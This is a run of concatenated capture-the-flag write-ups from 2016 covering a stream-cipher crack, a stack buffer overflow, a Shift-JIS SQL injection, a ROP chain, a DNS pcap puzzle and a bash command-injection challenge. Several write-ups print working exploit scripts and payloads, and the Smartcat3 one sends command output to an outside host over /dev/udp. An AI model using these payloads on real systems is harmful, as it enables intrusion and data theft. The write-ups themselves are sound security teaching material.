8][8]); d = Z(F, d, a, b, c, $[stack offset 2][9], 12, $[stack offset 8][9]); c = Z(F, c, d, a, b, $[stack offset 2][10], 17, $[stack offset 8][10]); b = Z(F, b, c, d, a, $[stack offset 2][11], 22, $[stack offset 8][11]); a = Z(F, a, b, c, d, $[stack offset 2][12], 7, $[stack offset 8][12]); d = Z(F, d, a, b, c, $[stack offset 2][13], 12, $[stack offset 8][13]); c = Z(F, c, d, a, b, $[stack offset 2][14], 17, $[stack offset 8][14]); b = Z(F, b, c, d, a, $[stack offset 2][15], 22, $[stack offset 8][15]); a = Z(G, a, b, c, d, $[stack offset 2][1], 5, $[stack offset 8][16]); d = Z(G, d, a, b, c, $[stack offset 2][6], 9, $[stack offset 8][17]); c = Z(G, c, d, a, b, $[stack offset 2][11], 14, $[stack offset 8][18]); b = Z(G, b, c, d, a, $[stack offset 2][0], 20, $[stack offset 8][19]); a = Z(G, a, b, c, d, $[stack offset 2][5], 5, $[stack offset 8][20]); d = Z(G, d, a, b, c, $[stack offset 2][10], 9, $[stack offset 8][21]); c = Z(G, c, d, a, b, $[stack offset 2][15], 14, $[stack offset 8][22]); b = Z(G, b, c, d, a, $[stack offset 2][4], 20, $[stack offset 8][23]); a = Z(G, a, b, c, d, $[stack offset 2][9], 5, $[stack offset 8][24]); d = Z(G, d, a, b, c, $[stack offset 2][14], 9, $[stack offset 8][25]); c = Z(G, c, d, a, b, $[stack offset 2][3], 14, $[stack offset 8][26]); b = Z(G, b, c, d, a, $[stack offset 2][8], 20, $[stack offset 8][27]); a = Z(G, a, b, c, d, $[stack offset 2][13], 5, $[stack offset 8][28]); d = Z(G, d, a, b, c, $[stack offset 2][2], 9, $[stack offset 8][29]); c = Z(G, c, d, a, b, $[stack offset 2][7], 14, $[stack offset 8][30]); b = Z(G, b, c, d, a, $[stack offset 2][12], 20, $[stack offset 8][31]); a = Z(H, a, b, c, d, $[stack offset 2][5], 4, $[stack offset 8][32]); d = Z(H, d, a, b, c, $[stack offset 2][8], 11, $[stack offset 8][33]); c = Z(H, c, d, a, b, $[stack offset 2][11], 16, $[stack offset 8][34]); b = Z(H, b, c, d, a, $[stack offset 2][14], 23, $[stack offset 8][35]); a = Z(H, a, b, c, d, $[stack offset 2][1], 4, $[stack offset 8][36]); d = Z(H, d, a, b, c, $[stack offset 2][4], 11, $[stack offset 8][37]); c = Z(H, c, d, a, b, $[stack offset 2][7], 16, $[stack offset 8][38]); b = Z(H, b, c, d, a, $[stack offset 2][10], 23, $[stack offset 8][39]); a = Z(H, a, b, c, d, $[stack offset 2][13], 4, $[stack offset 8][40]); d = Z(H, d, a, b, c, $[stack offset 2][0], 11, $[stack offset 8][41]); c = Z(H, c, d, a, b, $[stack offset 2][3], 16, $[stack offset 8][42]); b = Z(H, b, c, d, a, $[stack offset 2][6], 23, $[stack offset 8][43]); a = Z(H, a, b, c, d, $[stack offset 2][9], 4, $[stack offset 8][44]); d = Z(H, d, a, b, c, $[stack offset 2][12], 11, $[stack offset 8][45]); c = Z(H, c, d, a, b, $[stack offset 2][15], 16, $[stack offset 8][46]); b = Z(H, b, c, d, a, $[stack offset 2][2], 23, $[stack offset 8][47]); a = Z(I, a, b, c, d, $[stack offset 2][0], 6, $[stack offset 8][48]); d = Z(I, d, a, b, c, $[stack offset 2][7], 10, $[stack offset 8][49]); c = Z(I, c, d, a, b, $[stack offset 2][14], 15, $[stack offset 8][50]); b = Z(I, b, c, d, a, $[stack offset 2][5], 21, $[stack offset 8][51]); a = Z(I, a, b, c, d, $[stack offset 2][12], 6, $[stack offset 8][52]); d = Z(I, d, a, b, c, $[stack offset 2][3], 10, $[stack offset 8][53]); c = Z(I, c, d, a, b, $[stack offset 2][10], 15, $[stack offset 8][54]); b = Z(I, b, c, d, a, $[stack offset 2][1], 21, $[stack offset 8][55]); a = Z(I, a, b, c, d, $[stack offset 2][8], 6, $[stack offset 8][56]); d = Z(I, d, a, b, c, $[stack offset 2][15], 10, $[stack offset 8][57]); c = Z(I, c, d, a, b, $[stack offset 2][6], 15, $[stack offset 8][58]); b = Z(I, b, c, d, a, $[stack offset 2][13], 21, $[stack offset 8][59]); a = Z(I, a, b, c, d, $[stack offset 2][4], 6, $[stack offset 8][60]); d = Z(I, d, a, b, c, $[stack offset 2][11], 10, $[stack offset 8][61]); c = Z(I, c, d, a, b, $[stack offset 2][2], 15, $[stack offset 8][62]); b = Z(I, b, c, d, a, $[stack offset 2][9], 21, $[stack offset 8][63]); this.A = this.A + a & 4294967295; this.B = this.B + b & 4294967295; this.C = this.C + c & 4294967295; this.D = this.D + d & 4294967295;};$[stack offset 3].update <- function ( data ){ while (!data.eos()) { this.buf.seek(0, 101); this.buf.writeblob(data.readblob(64 - this.buf.len()));
if (this.buf.len() == 64) { this.buf.seek(0); this._update_block(this.buf); this.buf.resize(0); } }
this.size += data.len();};$[stack offset 3].final <- function (){ this.buf.seek(0, 101); this.buf.writen(128, 98); 64 - this.buf.len(); // [016] OP_JCMP 2 22 1 3 this.buf.len(); // [021] OP_JCMP 2 6 1 3 this.buf.writen(0, 98); // [027] OP_JMP 0 -11 0 0 this.buf.seek(0); this._update_block(this.buf); this.buf.resize(0); this.buf.len(); 64 - 8; // [045] OP_JCMP 2 6 1 3 this.buf.writen(0, 98); // [051] OP_JMP 0 -13 0 0 this.buf.writen(this.size * 8, 108); this.buf.seek(0); this._update_block(this.buf); this.buf.resize(0); local result = this.blob(); result.writen(this.A, 105); result.writen(this.B, 105); result.writen(this.C, 105); result.writen(this.D, 105); result.seek(0); return result;};this.MaryTheFifthDumplingsCook <- $[stack offset 3];local str2blob = function ( str ){ local result = this.blob();
foreach( x in str ) { result.writen(x, 98); }
result.seek(0); return result;}; // [035] OP_NEWOBJ 4 -1 -1 2$[stack offset 4].salt <- "";$[stack offset 4].fn <- "";$[stack offset 4].fileobj <- null;$[stack offset 4].mana <- null; // [047] OP_NEWOBJ 6 2 0 1$[stack offset 6].append($[stack offset 6], $[stack offset 8]);$[stack offset 6].append($[stack offset 6], $[stack offset 8]);$[stack offset 4].cur <- $[stack offset 6];$[stack offset 4].pos <- 0;$[stack offset 4].header <- null;$[stack offset 4].buffer <- this.blob(0);$[stack offset 4].constructor <- function ( salt, fn, fileobj ){ this.salt = salt; this.fileobj = fileobj; local i = fn.len() - 1;
while (i && fn[i] != 47 && fn[i] != 92) { i--; }
this.fn = fn.slice(i); this.seek(0);};$[stack offset 4].seek <- function ( offset, origin = 98 ) : ( str2blob ){ if (origin != 98 || offset != 0) { throw "not implemented"; }
local engine = this.MaryTheFifthDumplingsCook(); // [012] OP_GETOUTER 6 0 0 0 engine.update($[stack offset 6](this.salt + this.fn)); local digest = engine.final(); this.header = digest.readblob(8); this.mana = this.magic(digest.readn(108) & 4294967295); this.pos = 0; this.fileobj.seek(offset);};$[stack offset 4].eos <- function (){ return this.header.eos() && this.fileobj.eos();};$[stack offset 4].magic <- function ( x ){ // Function is a generator. while (true) { yield x; x = x * 3740067437 + 11; x = x & (1 << 48) - 1; }};$[stack offset 4].readblob <- function ( size ){ local result = this.blob(0);
if (size && !this.header.eos()) { local t = this.header.readblob(size); size = size - t.len(); result.writeblob(t); }
if (size && !this.fileobj.eos()) { local i = 0; // [030] OP_JCMP 1 46 3 3
if (this.fileobj.eos()) { } else { if (this.pos == 0) { local rk = resume this.mana; // [043] OP_NEWOBJ 6 4 0 1 $[stack offset 6].append($[stack offset 6], rk << 40); $[stack offset 6].append($[stack offset 6], rk << 32); $[stack offset 6].append($[stack offset 6], rk << 24); $[stack offset 6].append($[stack offset 6], rk << 16Press any key to continue . . . ); this.cur = $[stack offset 6]; }
result.writen(this.fileobj.readn(98) ^ this.cur[this.pos], 98); this.pos = this.pos + 1 & 3; i++; // [076] OP_JMP 0 -47 0 0 } }
return result;};this.ClabEncryptionStream <- $[stack offset 4];local print_banner = function (){ this.print(" \r\n ,;;:;, \r\n ;;;;; \r\n ,:;;:; ,\'=. Squirrel Idol Festival\r\n ;:;:;\' .=\" ,\'_\\ - an encrypt-only file vault\r\n \':;:;,/ ,__:=@ \r\n \';;:; =./)_ We love nuts and your filez!\r\n `\"=\\_ )_\"` \r\n ``\'\"`\r\n");};local main = function ( args ) : ( print_banner ){ // [000] OP_GETOUTER 2 0 0 0 $[stack offset 2](); local key = "BCTF{Apparently this is a fake flag}";
if (args.len() == 2) { key = args[1]; } else if (args.len() != 1) { this.print("Usage: sif <file> [key]\n"); return; }
this.srand(this.time()); local enc = this.ClabEncryptionStream(key, args[0], this.file(args[0], "rb")); local tmpfile = "tmp-" + this.rand().tostring(); local out = this.file(tmpfile, "wb");
while (!enc.eos()) { out.writeblob(enc.readblob(4096)); }
out.close(); this.remove(args[0]); this.rename(tmpfile, args[0]); this.print("Done! Now cracking your file is as hard as cracking nuts :)\n");};main(vargv);```
Taking a look at the `main` function we see the following is done:
```c local enc = this.ClabEncryptionStream(key, args[0], this.file(args[0], "rb")); local tmpfile = "tmp-" + this.rand().tostring(); local out = this.file(tmpfile, "wb");
while (!enc.eos()) { out.writeblob(enc.readblob(4096)); }
out.close();```
So a user-supplied key is taken and fed together with the target file to an encryption object which writes the ciphertext to a new file. Taking a look at `ClabEncryptionStream` (which resides at `this.ClabEncryptionStream <- $[stack offset 4];`) shows its constructor to do the following:
```c$[stack offset 4].constructor <- function ( salt, fn, fileobj ){ this.salt = salt; this.fileobj = fileobj; local i = fn.len() - 1;
while (i && fn[i] != 47 && fn[i] != 92) { i--; }
this.fn = fn.slice(i); this.seek(0);};```
So we assign our key to `this.salt` and take discard the path from the target filename and assign the result to `this.fn` after which we call `seek` which looks as follows:
```c$[stack offset 4].seek <- function ( offset, origin = 98 ) : ( str2blob ){ if (origin != 98 || offset != 0) { throw "not implemented"; }
local engine = this.MaryTheFifthDumplingsCook(); // [012] OP_GETOUTER 6 0 0 0 engine.update($[stack offset 6](this.salt + this.fn)); local digest = engine.final(); this.header = digest.readblob(8); this.mana = this.magic(digest.readn(108) & 4294967295); this.pos = 0; this.fileobj.seek(offset);};```
Here `engine` is constructed using the `MaryTheFifthDumplingsCook` object and we feed the concatenation `this.salt + this.fn` to it before taking its digest. The use of the terms `digest` and `salt` already reveal its probably a hash function and a quick look at the constructor reveals it is MD5 (which we can tell from the IV values in A,B,C and D and the structure of the `update` function):
```c$[stack offset 3].constructor <- function (){ this.A = 1732584193; this.B = 4023233417; this.C = 2562383102; this.D = 271733878; this.buf = this.blob(); this.size = 0;};```
So from this `md5(key + filename)` digest we take 8 bytes and assign them to `header` and use the next 8 bytes as a value which is bitmasked and fet into `this.magic`. Note that here the decompiler screwed up and reports the bitmask to be `4294967295 = 0xFFFFFFFF` but it should be larger. It was, however, probably truncated by the decompiler using a 32-bit variable internally which we hadn't updated to a 64-bit one yet, a phenomenon which proved to be quite a pain throughout this reversing process. Either way taking a look at `magic` reveals it is a [linear congruential generator](https://en.wikipedia.org/wiki/Linear_congruential_generator):
```c$[stack offset 4].magic <- function ( x ){ // Function is a generator. while (true) { yield x; x = x * 3740067437 + 11; x = x & (1 << 48) - 1; }};```
Here, again, the multiplier `3740067437 = 0xDEECE66D` turned out to be a 32-bit truncation of the actual multiplier `0x5DEECE66D` which of course makes this the POSIX rand48 LCG with `multiplier = 0x5DEECE66D`, `addend = 0xB` and `modulus = 2**48`. Of interest here is that the function is a generator (which in squirrel is called when prefixed with `resume`) and it starts with a `yield` statement meaning the first value it will return is its seed, which is of help later on.
Now we can take a look at the `readblob` function which does the actual encryption:
```c$[stack offset 4].readblob <- function ( size ){ local result = this.blob(0);
if (size && !this.header.eos()) { local t = this.header.readblob(size); size = size - t.len(); result.writeblob(t); }
if (size && !this.fileobj.eos()) { local i = 0; // [030] OP_JCMP 1 46 3 3
if (this.fileobj.eos()) { } else { if (this.pos == 0) { local rk = resume this.mana; // [043] OP_NEWOBJ 6 4 0 1 $[stack offset 6].append($[stack offset 6], rk << 40); $[stack offset 6].append($[stack offset 6], rk << 32); $[stack offset 6].append($[stack offset 6], rk << 24); $[stack offset 6].append($[stack offset 6], rk << 16Press any key to continue . . . ); this.cur = $[stack offset 6]; }
result.writen(this.fileobj.readn(98) ^ this.cur[this.pos], 98); this.pos = this.pos + 1 & 3; i++; // [076] OP_JMP 0 -47 0 0 } }
return result;};```
We can see the `header` is written to the output (meaning the first 8 bytes of the file are the first 8 bytes of the `md5` digest) after which we iterate over the plaintext. A counter named `pos` is maintained which loops from 0 to 3 and whenever it is 0 it will tap the LCG, extract its value and construct a 4-element array consisting of the LCG value bitshifted with various values. The current plaintext byte is always XORed with the value in this array at index `pos`, making the encryption algorithm a simple streamcipher using the `rand48` LCG as its PRNG. Again a fault in the decompiler kicks in here since a keen eye will spot the senselessness of the leftwise bitshifts given that they only introduce nullbytes in the least significant bits of the value and we only use the least significant byte of each of those values. Hence we assumed this was a bug in the decompiler and changed the leftshifts to rightshifts.
Now we can put the above all together to start cracking the cipher:
* We know every 4 bytes of ciphertext are the result of 4 bytes of plaintext XORed with the least significant bytes of an array that looks like this `[(mana >> 40), (mana >> 32), (mana >> 24), (mana >> 16)]`
* Since we are dealing with a PNG file we can assume it has a fixed file header of 8 known bytes (being `"\x89\x50\x4E\x47\x0D\x0A\x1A\x0A"` and starting at offset 8 in the target file, after the md5 header) which allows us to use a known plaintext attack to derive 8 bytes of keystream using `xor(ciphertext[8:16], png_header)`
* The 8 bytes of keystream contain 2 (partial) LCG output values. We know the LCG outputs 48-bit values so we know:
```keystream[0] = rk1[48..40]keystream[1] = rk1[40..32]keystream[2] = rk1[32..24]keystream[3] = rk1[24..16]keystream[4] = rk2[48..40]keystream[5] = rk2[40..32]keystream[6] = rk2[32..24]keystream[7] = rk2[24..16]```
Which means we have the upper 32 bits of LCG output 1 and 2 (dubbed rk1 and rk2) and miss the lower 16 bits. We can partially reconstruct `rk1` and `rk2` by reversing the bitshifts:
```pythonrk1 = ((keystream[0] << 40) | (keystream[1] << 32) | (keystream[2] << 24) | (keystream[3] << 16))rk2 = ((keystream[4] << 40) | (keystream[5] << 32) | (keystream[6] << 24) | (keystream[7] << 16))```
* We also know `rk1` is the seed to the LCG so if we manage to fully reconstruct `rk1` we can clone the LCG and reproduce the full keystream to recover the original plaintext. We can recover `rk1` by brute-forcing its lower 16 bits and checking for which value `((lcg_step(rk1 | candidate) & 0xFFFFFFFF0000) == rk2)` holds, ie. which value is the preceding value to the second recovered LCG output.
Tying this all together in our [cracking script looks as follows](solution/sif_crack.py):
```python#!/usr/bin/python## BCTF 2016# sif (REVERSING/350)## @a: Smoke Leet Everyday# @u: https://github.com/smokeleeteveryday#
import hashlibfrom struct import pack, unpack
def magic_step(x): A = 0x5DEECE66D B = 0xB M = ((1 << 48) - 1) return (((x * A) + B) & M)
class magic: def __init__(self, seed): self.x = seed return
def step(self): old_x = self.x self.x = magic_step(self.x) return old_x
def xor_strings(xs, ys): return "".join(chr(ord(x) ^ ord(y)) for x, y in zip(xs, ys))
def recover_mana(keystream_slice): assert (len(keystream_slice) == 4) mana_lsbs = [ord(x) for x in list(keystream_slice)] return ((mana_lsbs[0] << 40) | (mana_lsbs[1] << 32) | (mana_lsbs[2] << 24) | (mana_lsbs[3] << 16))
def decrypt(ciphertext, seed): plaintext = '' pos = 0 m = magic(seed) for i in xrange(len(ciphertext)): if (pos == 0): rk = m.step() cur = [(rk >> 40), (rk >> 32), (rk >> 24), (rk >> 16)] plaintext += chr(ord(ciphertext[i]) ^ (cur[pos] & 0xFF)) pos = ((pos + 1) & 3) return plaintext
def mana_check(mana1, mana2): i = 0 print "[*] Checking mana..." while(i < 2**16): candidate = (mana1 | i) if ((magic_step(candidate) & 0xFFFFFFFF0000) == (mana2 & 0xFFFFFFFF0000)): return candidate
i += 1
raise Exception("[-] Couldn't check LCG outputs...") return
ciphertext = open('flag.png', 'rb').read()known_png_header = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A"crypto_header = ciphertext[0:8]cipher_png_header = ciphertext[8:8+len(known_png_header)]keystream = xor_strings(cipher_png_header, known_png_header)
print "[+] crypto header: [%s]" % (crypto_header.encode('hex'))print "[+] derived keystream: [%s]" % (keystream.encode('hex'))
mana1 = recover_mana(keystream[0:4])mana2 = recover_mana(keystream[4:8])
print "[+] recovered (partial) LCG output 1: [%s]" % ('{:012x}'.format(mana1))print "[+] recovered (partial) LCG output 2: [%s]" % ('{:012x}'.format(mana2))
seed = mana_check(mana1, mana2)
print "[+] cracked LCG seed: [%s]" % ('{:08x}'.format(seed))
open('plaintext_flag.png', 'wb').write(decrypt(ciphertext[8:], seed))print "[+] decrypted flag.png!"```
Which, when running, gives us:
```bash$ ./sif_crack.py[+] crypto header: [99c3f1d5f20c2317][+] derived keystream: [0c3e6181fdc88e94][+] recovered (partial) LCG output 1: [0c3e61810000][+] recovered (partial) LCG output 2: [fdc88e940000][*] Checking mana...[+] cracked LCG seed: [c3e618181ea][+] decrypted flag.png!```
Which yields a QR code image containing the flag:
```BCTF{550_loveca_w1th0ut_UR}``` |
---title: "Write-up - Sunshine CTF 2016 - Dance"date: 2016-03-14 00:00:00tags: [Write-up, Sunshine CTF 2016]summary: "Write-up about Sunshine CTF 2016 - Dance"---
In this challenge, we have a binary file and we need to connect to an IP using Netcat; `nc 4.31.182.242 9001`. We have then the following message:
```welcome to the pro club. you just paid a door fee and have no respect. earn ur cred on the dancefloor!give us ur sick dance moves like so:whip,naenae,whip,whip,naenae<ENTER>
whip,naenae,whip,naenae,whipdo the whip! (;P) 8=/||\__/¯ ¯\_do the naenae(\) \(:O) /||\__/¯ ¯\_do the whip! (;P) 8=/||\__/¯ ¯\_do the naenae(\) \(:O) /||\__/¯ ¯\_do the whip! (;P) 8=/||\__/¯ ¯\_
cool dance! come again!```
After performing a quick program analysis, we can see that we can perform a [buffer overflow](https://en.wikipedia.org/wiki/Stack_buffer_overflow). We will use the following Python code to solve this challenge:
```import telnetlibimport struct
x = lambda a: struct.pack('I', a)host = "4.31.182.242"port = "9001"
c = telnetlib.Telnet(host, port)print c.read_until("<ENTER>")c.write('A'*84)c.write(x(0x12adaac9))print c.read_all()```
We will have then the following message which is the `main()` function of the binary file we have decompiled.
```''' OUTPUT:welcome to the pro club. you just paid a door fee and have no respect. earn ur cred on the dancefloor!give us ur sick dance moves like so:whip,naenae,whip,whip,naenae<ENTER>girl u can dance w the best of em. the pw to our vip lounge is: sun{d4nc3_0n_th3_s7ack}cool dance! come again!'''
''' BONUS:int main() { memset(input, 0x0, 0x50); printf("welcome to the pro club."); fgets(input, 0x59, stdin); while (strlen(input) > 0x0) { if (sign_extend_32(*(int8_t *)input) == 0x77) { input = input + 0x5; do_whip(); } else { if (sign_extend_32(*(int8_t *)input) == 0x6e) { input = input + 0x7; do_naenae(); } else { input = input + 0x1; } } } if (0x12adaac9 == 0x12adaac9) { if (0x0 != 0x0) { printf("FLAG FLAG FLAG\n"); } } else { printf("those dance moves are some dark artsz kid\n"); } printf("\ncool dance! come again!\n"); return 0x0;}'''```
The flag to solve this challenge is `sun{d4nc3_0n_th3_s7ack}`. |
## Good Morning (web, 3 points, 110 solves) http://52.86.232.163:32800/ https://s3.amazonaws.com/bostonkeyparty/2016/bffb53340f566aef7c4169d6b74bbe01be56ad18.tgz
In this task we were given a source of web survey. It used MySQL in backend to store our answers. The scriptwas not using prepared statements, so we quickly came to conclusion that there has to be a SQL injection possible.Unfortunately, our input was escaped before passing to MySQL library. However, they use their home-made escaping functioninstead of properly tested official ones.
Because the site was in Japanese, they used Shift-JIS character encoding. One of the oddities conencted to this encodingis that it changes position of backslash - 0x5C, which is ASCII backslash, in SJIS means yen. The websocket and Python scriptitself (including escaping function) use Unicode, so we can send `[yen]" stuff`, which will be converted by escaping functionto `[yen]\" stuff`, and then converted to SJIS `0x5C\" stuff`. Since 0x5C is equivalent to backslash, that means our input willbe interpreted as one escaped backslash, followed by unescaped quote, enabling us to put arbitrary SQL code there.
Proof:```>>> print mysql_escape(json.loads('{"type":"get_answer","question":"q","answer":"\u00a5\\\""}')["answer"]).encode("sjis")\\"```Exploiting via Chrome developer console:```socket.onmessage=function(e){console.log(e.data);};socket.send('{"type":"get_answer","question":"q","answer":"\u00a5\\\" OR 1=1 -- "}')
VM416:2 {"type": "got_answer", "row": [1, "flag", "BKPCTF{TryYourBestOnTheOthersToo}"]}``` |
```Judges: kablaa
jump on that gator. below file running at
nc 4.31.182.242 9003
flag is in "/home/arr/flag"```
At first the program asks for our name and reads it using `scanf("%9s",&name);`
After that it creates an array with 10 integers, sets them to 0 and asks for index and value 10 times and finally prints the values of these 10 array elements. If we enter an index bigger than or equal to 10 it exits with `exit(0)`. However it does not check wether we gave negative index or not. So for example if we give -1 index and -10 value, we can make the counter -10 and enter 20 values instead of 10. And also if we enter `-2147483648 + x` as index that would be smaller than 10 but it would access `arr[x]` due to integer overflow. So by using that we can change anywhere we want in the stack.
However, since we don't know the address of the stack, we cannot write a shellcode and return to it. But we can see from IDA that this executable has link to `system` function. We can use that to execute `/bin/sh`. For that we need a pointer to `/bin/sh`, so we need to put it to somewhere that we know we can reach. We can do it by giving address of .data to `scanf("%9s")`.
```Address of .data is `0x08049b24` (we can find it using `readelf -S arr`)Address of "%9s" is `0x0804882f` (we can find it using IDA or any other disassembler)Address of scanf is `0x08048460` (also we can find it using any disassembler)Address of system is `0x08048430` (also we can find it using any disassembler)```
We will change the return address to scanf and give its parameters using stack. After that we need to call system, so we need a pop,pop,ret in order to pass the arguments of scanf. We can find it using `ROPgadget --binary arr`.
```Address of pop,pop,ret is `0x080487ba````
So now we can form our stack:
```| scanf address(0x08048460) | ret address(0x080487ba)(pop pop ret) | address of %9s(0x0804882f) | write address(0x08049b24)(.data) || system address(0x08048430) | anything(return address after system) | 0x08049b24(.data) |```
Offset of first return is 13(arr[13]).
Solution script is [here.](solution.py) |
# Internetwache 2016 : 404 Flag not found (misc80)
**Category:** misc |**Points:** 80 |**Name:** 404 Flag not found |**Solves:** 294 |**Description:**
> I tried to download the flag, but somehow received only 404 errors :(>> Attachment: [misc80.zip](src/misc80.zip)
___
## Write-up
### Part OneUnzipping the package given to us we get a readme with```You can do it!```
and a gzipped pcap.
Throwing the pcap onto wireshark, we see lots of DNS requests and responses.
### Part TwoTook us a bit to notice this, but it seems the IPv4 and IPv6 urls requested were a chunk of base64 encoded item followed by .2015.ctf.internetwache.org
Taking all this out into a file, we get this
```496e2074686520656e642c206974277320616c6c2061626f757420666c6167732e0a5768657468657220796f752077696e206f72206c6f736520646f65736e2774206d61747465722e0a7b4f66632c2077696e6e696e6720697320636f6f6c65720a44696420796f752066696e64206f7468657220666c6167733f0a4e6f626f62792066696e6473206f7468657220666c616773210a53757065726d616e206973206d79206865726f2e0a5f4845524f2121215f0a48656c70206d65206d7920667269656e642c2049276d206c6f737420696e206d79206f776e206d696e642e0a416c776179732c20616c776179732c20666f72206576657220616c6f6e652e0a437279696e6720756e74696c2049276d206479696e672e0a4b696e6773206e65766572206469652e0a536f20646f20492e0a7d210a```
And converting this out to ascii we get the flag in the first character of each line
```In the end, it's all about flags.Whether you win or lose doesn't matter.{Ofc, winning is coolerDid you find other flags?Noboby finds other flags!Superman is my hero._HERO!!!_Help me my friend, I'm lost in my own mind.Always, always, for ever alone.Crying until I'm dying.Kings never die.So do I.}!```
Sooo the flag is: ```IW{DNS_HACKS}```^.^ |
# Internetwache 2016 : Reversing (90)
**Category:** Reversing |**Points:** 90 |**Name:** The Cube |**Solves:** 240 |**Description:**
> I really like Rubik's Cubes, so I created a challenge for you. I put the flag on the white tiles and scrambled the cube. Once you solved the cube, you'll know my secret.>
___
## Write-up
Scrambling:
```F' D' U' L' U' F2 B2 D2 F' U D2 B' U' B2 R2 D2 B' R' U B2 L U R' U' L'
White side:-------|{|3| || |D|R|| |W| |-------
Orange side:-------| | | || | | || | | |-------
Yellow side:-------|}| | ||3| | || | | |-------
Red side:-------|I| | || | | || | |C|-------
Green side:-------| | | || | | || | | |-------
Blue side:-------| | | || | | || | | |-------
```We basically bruteforced this one. We knew that the letters that formed the key were : 3,D,R,W,3,I,C,{,}we could get rid of the two brackets and IW, so we're left with 3,D,R,3, and C.
we tried inputing every combination of the 5 characters into the ctf page, and it eventually worked, with:
IW{3DRC3} |
#Insomni'hack CTF 2016 : Smartcat3
##Write-up
This challenge was a little bit tricky but fun.It is based on a website with a form to get the status (Up/Down) of an IP. The source code was avalaible [you can find it here](http://pastebin.com/haAqxW9w)
So, the tricky part was to bypass the `sanity_check` function which parse our input and return TRUE if any of this char is found : ```"$&\;`|*"``` and the result must be send on the port 53 because of the firewall : `# The firewall only allows the strict minimum required for this chall, aka # OUTPUT on udp/53 and icmp. INPUT is port 80 only."`
After some research, it was possible to execute arbitrary command with the following payload : `<(ls>/dev/udp/123.123.123.123/53)` and get the following result in the nc listenner : `ping.cgi`
It was nice, but we needed an other trick because space char is not in `string.ascii_letters, string.digits, string.punctuation` so the sanity_check function return TRUE if we use space.After some research, we found to following trick : In bash, if you use `{}` you can get a string with space like this :`echo {"Hello","World"}`
>Hello World
So, it was possible the search some flag file in the filesystem like this :`<({ls,-la,../..}>/dev/udp/123.123.123.123/53)`
And find it on the top root directory :`<({../../../../../../read_flag,flag}>/dev/udp/192.168.5.104/53)`
But a last part was asked :`Almost there... just trying to make sure you can execute arbitrary commands....Write 'Give me a...' on my stdin, wait 2 seconds, and then write '... flag!.Do not include the quotes. Each part is a different line."`
The easy solution is the following :
```echo -ne '(echo "Give me a..."; sleep 2; echo "... flag!") | /read_flag flag' | base64KGVjaG8gIkdpdmUgbWUgYS4uLiI7IHNsZWVwIDI7IGVjaG8gIi4uLiBmbGFnISIpIHwgL3JlYWRfZmxhZyBmbGFn```
Then :```<({base64,-d,KGVjaG8gIkdpdmUgbWUgYS4uLiI7IHNsZWVwIDI7IGVjaG8gIi4uLiBmbGFnISIpIHwgL3JlYWRfZmxhZyBmbGFn}>/tmp/tmpfile.sh<({bash,/tmp/tmpfile.sh}>/dev/udp/192.168.5.104/53)```
And get the flag !Enjoy, thank to [Xer](https://twitter.com/XeR_0x2A) for his help :)[Rawger](https://twitter.com/_rawger) |
# Quick Run (Misc, 60pts)
---
## Problem
Get the flag ! :)
## Solution
We get text file contains long Base64 strings (see README.txt). Each string is one QR code (27 in total) and every QR code equals one sign in flag.
Using simple Python script I've ripped all QR codes into single file:
```python#!/usr/bin/pythonimport base64
f = open("README.txt").read().split("\n")qrcode = ""tmp = ""i = 1
fout = open("qrcodes.txt", "a+")
for p in f: tmp += p if len(p) < 77 and p.endswith(("ilogK","==","Ao=")): qrcode = base64.b64decode(tmp) print "[+] save {} QRcode to file".format(i) fout.write(qrcode + "\n\n\n") tmp = "" i += 1 fout.close()
print "[+] end"
```
Then I've just scanned them one by one directly from my laptop screen using my smartphone and simple QR code reader.
Finally I've get the flag:
```IW{QR_C0DES_RUL3}```
|
# hsab
## Solution
The first part of the challenge is to give a proof of work to the server, if the proof of work is correct, we'll get access to a shell. The proof of work is strings which sha256 starts with 20 zeros in binary. The first letters of that string are chosen by the server.
```c#include <string.h>#include <time.h>#include <stdlib.h>#include <stdio.h>// #include <openssl/sha256.h>#define COMMON_DIGEST_FOR_OPENSSL#include <CommonCrypto/CommonDigest.h>#define SHA1 CC_SHA1
char *rand_string(size_t length, char* prefix) { static char charset[] = "azertyuiopqsdfghjklmwxcvbnAZERTYUIOPQSDFGHJKLMWXCVBN1234567890"; char *randomString = NULL; int prelen = strlen(prefix); int n = 0;
if (length) { randomString = malloc(sizeof(char) * (length + prelen + 1)); strcpy(randomString, prefix);
if (randomString) { for (n = prelen ; n < length + prelen-1; n++) { int key = rand() % (int)(sizeof(charset) - 1); randomString[n] = charset[key]; } randomString[length + prelen] = 0; } }
return randomString;}
int main(int argc, char* argv[]) { int length = 20; int n = 0; unsigned char digest[32]; char *out = (char*)malloc(33); char* arg = NULL; char *rdStr = NULL;
arg = argv[1];
srand(time(0));
while(1) { SHA256_CTX c; SHA256_Init(&c); memset(digest, 0, 32); rdStr = rand_string(length, arg); SHA256_Update(&c, rdStr, strlen(rdStr)); SHA256_Final(digest, &c);
for (n = 0; n < 32; ++n) { snprintf(&(out[n*2]), 32*2, "%02x", (unsigned int)digest[n]); }
if (!strncmp("00000", out, 5)) { printf("%s\n", rdStr); break; }
free(rdStr); }
return 0;}```
This program takes in argument the first characters given by the server. It then finds and return a collision that starts with 20 zeros (which is 5 times the character `0` in hexadecimal). In order to communicate with the server easily, I wrote a little wrapper in Python.
```pythonimport socketimport sysimport reimport subprocess
bctf = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #defines the socketbctf.connect(("104.199.132.199", 2222))
data = bctf.recv(2048)print data
m = re.match("[^']*'(.*)'.*", data)if m: prefix = m.group(1)
data = bctf.recv(2048)print data
out = subprocess.check_output(["./LHC", prefix])print out
bctf.send(out.strip() +"\n") # Sends the proof of workdata = bctf.recv(2048)print data
bctf.send(sys.argv[1]+"\n") # Sends the command given in argumentdata = bctf.recv(2048)print datadata = bctf.recv(2048)print data
bctf.close()```
We now have a shell to server. Although it lacks standard tools such as `ls` or `cat`, it's possible to list directories with the command `python wrapper.py "type /home/*"`. That's how we found out that the flag was in the file `/home/ctf/flag.ray`.
Then, we needed to open that file and none of the commands available could do it. But dlcall seemed interesting, because it was possible to call functions from the standard library with it. In order to read the content of the flag file, we needed to open the file, mmap it, and then print it.
Which was made possible with the command `python wrapper.py "dlcall -n fd -r pointer open /home/ctf/flag.ray 0 && dlcall -n mapped -r pointer mmap 0 10 1 1 \$fd 0 && dlcall printf %s \$mapped"`.
## References
* [https://github.com/taviso/ctypes.sh/wiki](https://github.com/taviso/ctypes.sh/wiki) |
# Internetwache 2016 : A numbers game (50)
